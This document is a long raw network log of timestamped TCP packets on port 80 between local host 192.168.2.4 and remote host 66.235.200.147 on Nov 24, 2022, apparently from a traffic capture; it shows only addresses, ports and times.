Nov 24, 2022 13:27:53.285012960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285037041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285051107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285063982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285075903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285090923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285120964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285134077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285147905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285160065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285175085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285185099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285202026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285213947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285228968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285254002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285254002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285274029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285279989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285305977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285317898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285332918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285351038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285361052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285376072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285388947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285413980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285429001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285442114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285450935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285470009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285484076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285495043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285502911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285521030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285547972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285556078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285573959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285583973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285602093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285619020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285619020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285630941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285657883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285666943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285684109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285708904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285721064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285736084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285763979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285792112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285797119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285815954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285820007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285842896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285849094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285856009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285877943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285880089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285907030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285931110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285938025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.285958052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285983086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.285991907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286010027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286016941 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286036968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286043882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286061049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286077023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286084890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286092043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286111116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286115885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286135912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286159039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286160946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286183119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286192894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286206961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286209106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286222935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286231041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286240101 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286257982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286284924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286293030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286313057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286319971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286339998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286348104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286369085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286376953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286396980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286417007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286426067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286431074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286453009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286461115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286482096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286494970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286509991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286516905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286540985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286545992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286576033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286655903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286660910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286684990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286714077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286721945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286739111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286766052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286767006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286792040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286796093 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286814928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286817074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286837101 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286843061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286853075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286865950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286889076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286902905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286905050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286931038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286950111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286967993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.286974907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.286998987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287008047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287022114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287030935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287046909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287055016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287079096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287091970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287118912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287127018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287144899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287153959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287179947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287192106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287219048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287228107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287244081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287251949 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287271976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287280083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287300110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287307024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287324905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287333965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287352085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287359953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287377119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287396908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287414074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287425041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287450075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287460089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287483931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287513018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287542105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287549019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287578106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287693024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287720919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287729979 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287749052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287755013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287775040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287782907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287810087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287842035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287869930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287882090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287898064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287908077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287923098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287933111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287949085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.287955999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.287982941 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288017988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288043022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288052082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288069010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288075924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288094997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288103104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288120985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288135052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288147926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288153887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288175106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288180113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288203955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288207054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288232088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288237095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288259029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288264036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288285017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288292885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288311958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288317919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288335085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288343906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288358927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288369894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288383007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288393021 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288408041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288415909 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288430929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288440943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288454056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288463116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288477898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288487911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288506031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288527966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288538933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288578987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288605928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288635015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288649082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288659096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288662910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288688898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288691998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288714886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288719893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288742065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288750887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288768053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288775921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288793087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288800955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288819075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288826942 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288850069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288857937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288876057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288886070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288902998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288927078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288930893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.288939953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288964033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.288975000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289001942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289009094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289028883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289038897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289056063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289062023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289082050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289093018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289110899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289118052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289148092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289249897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289283991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289290905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289311886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289324045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289340019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289347887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289366961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289375067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289392948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289402962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289418936 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289427996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289446115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289453030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289482117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289513111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289539099 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289550066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289566994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289576054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289603949 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289613008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289638996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289649963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289663076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289673090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289690018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289697886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289716005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289726973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289741039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289750099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289767981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289776087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289794922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289803028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289822102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289832115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289861917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289868116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289891958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289902925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289917946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289938927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289944887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289952993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.289969921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.289978027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290005922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290040016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290066957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290077925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290093899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290100098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290121078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290143013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290158033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290167093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290193081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290205002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290220976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290229082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290246964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290257931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290272951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290287971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290296078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290309906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290344000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290378094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290404081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290416956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290431023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.290441036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.290471077 CET	49702	80	192.168.2.4	66.235.200.147
